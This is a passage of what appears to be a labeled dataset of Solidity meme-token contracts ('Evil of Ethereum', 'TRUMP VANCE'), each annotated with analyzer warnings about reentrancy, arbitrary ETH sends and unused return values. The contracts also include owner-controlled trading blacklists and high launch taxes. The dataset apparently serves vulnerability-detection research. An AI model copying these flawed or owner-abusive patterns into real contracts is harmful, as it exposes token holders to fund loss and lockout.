BRIAN.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 6a2ce25: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1d93307): BRIAN.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 1d93307: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 47f9ef7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 47f9ef7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 03e1e41\n\t\t// reentrancy-eth | ID: 47f9ef7\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 03e1e41\n\t\t// unused-return | ID: 6a2ce25\n\t\t// reentrancy-eth | ID: 47f9ef7\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 03e1e41\n\t\t// unused-return | ID: 1d93307\n\t\t// reentrancy-eth | ID: 47f9ef7\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 03e1e41\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 47f9ef7\n tradingOpen = true;\n }\n\n function deactivateMaxWalletLimit() external onlyOwner {\n _isMaxWalletActive = false;\n }\n\n function activateMaxWalletLimit() external onlyOwner {\n _isMaxWalletActive = true;\n }\n\n function isMaxWalletLimitActive() external view returns (bool) {\n return _isMaxWalletActive;\n }\n\n function excludeFromMaxWallet(address account) external onlyOwner {\n _isExcludedFromMaxWallet[account] = true;\n }\n}\n",
"file_name": "solidity_code_10697.sol",
"size_bytes": 12115,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract evil is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ae696f4): evil._taxWallet should be immutable \n\t// Recommendation for ae696f4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 74447db): evil._initialBuyTax should be constant \n\t// Recommendation for 74447db: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5ee08d2): evil._initialSellTax should be constant \n\t// Recommendation for 5ee08d2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b175b2): evil._reduceBuyTaxAt should be constant \n\t// Recommendation for 8b175b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 33;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2960f99): evil._reduceSellTaxAt should be constant \n\t// Recommendation for 2960f99: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 33;\n\n\t// WARNING Optimization Issue (constable-states | ID: 524a1e4): evil._preventSwapBefore should be constant \n\t// Recommendation for 524a1e4: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 33;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Evil of Ethereum\";\n\n string private constant _symbol = unicode\"EOE\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d59cd5b): evil._taxSwapThreshold should be constant \n\t// Recommendation for d59cd5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04177da): evil._maxTaxSwap should be constant \n\t// Recommendation for 04177da: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 40000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 071b606): evil.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 071b606: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46f9c96): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46f9c96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 545fe1b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 545fe1b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 46f9c96\n\t\t// reentrancy-benign | ID: 545fe1b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 46f9c96\n\t\t// reentrancy-benign | ID: 545fe1b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6150ecd): evil._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6150ecd: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 545fe1b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 46f9c96\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a1a2b21): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a1a2b21: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1c99e9a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1c99e9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: a1a2b21\n\t\t\t\t// reentrancy-eth | ID: 1c99e9a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a1a2b21\n\t\t\t\t\t// reentrancy-eth | ID: 1c99e9a\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 1c99e9a\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 1c99e9a\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1c99e9a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a1a2b21\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1c99e9a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 1c99e9a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a1a2b21\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 46f9c96\n\t\t// reentrancy-events | ID: a1a2b21\n\t\t// reentrancy-benign | ID: 545fe1b\n\t\t// reentrancy-eth | ID: 1c99e9a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 1b8289b): evil.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 1b8289b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 46f9c96\n\t\t// reentrancy-events | ID: a1a2b21\n\t\t// reentrancy-eth | ID: 1c99e9a\n\t\t// arbitrary-send-eth | ID: 1b8289b\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 732cbdd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 732cbdd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 64d8684): evil.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 64d8684: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4a5a816): evil.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4a5a816: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 26994a1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 26994a1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 732cbdd\n\t\t// reentrancy-eth | ID: 26994a1\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 732cbdd\n\t\t// unused-return | ID: 64d8684\n\t\t// reentrancy-eth | ID: 26994a1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 732cbdd\n\t\t// unused-return | ID: 4a5a816\n\t\t// reentrancy-eth | ID: 26994a1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 732cbdd\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 26994a1\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10698.sol",
"size_bytes": 20145,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract MAGA2024 is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4ff4a7f): MAGA2024._taxWallet should be immutable \n\t// Recommendation for 4ff4a7f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a5fbeb9): MAGA2024._initialBuyTax should be constant \n\t// Recommendation for a5fbeb9: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 092ebd0): MAGA2024._initialSellTax should be constant \n\t// Recommendation for 092ebd0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae5414d): MAGA2024._finalBuyTax should be constant \n\t// Recommendation for ae5414d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 13c450e): MAGA2024._finalSellTax should be constant \n\t// Recommendation for 13c450e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6039c41): MAGA2024._reduceBuyTaxAt should be constant \n\t// Recommendation for 6039c41: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: e876a8d): MAGA2024._reduceSellTaxAt should be constant \n\t// Recommendation for e876a8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 60c2755): MAGA2024._preventSwapBefore should be constant \n\t// Recommendation for 60c2755: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TRUMP VANCE\";\n\n string private constant _symbol = unicode\"MAGA2024\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e326e6c): MAGA2024._taxSwapThreshold should be constant \n\t// Recommendation for e326e6c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c00642a): MAGA2024._maxTaxSwap should be constant \n\t// Recommendation for c00642a: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: beac5d2): MAGA2024.uniswapV2Router should be immutable \n\t// Recommendation for beac5d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 78a88c9): MAGA2024.uniswapV2Pair should be immutable \n\t// Recommendation for 78a88c9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 033e464): MAGA2024.sellsPerBlock should be constant \n\t// Recommendation for 033e464: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6723602): MAGA2024.buysFirstBlock should be constant \n\t// Recommendation for 6723602: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 100;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9971fC89fe57B4D526b9cFD9b1a14282B13e9602);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1fc358f): MAGA2024.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1fc358f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 67fb609): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 67fb609: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 41df541): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 41df541: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 67fb609\n\t\t// reentrancy-benign | ID: 41df541\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 67fb609\n\t\t// reentrancy-benign | ID: 41df541\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2d2310d): MAGA2024._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2d2310d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 41df541\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 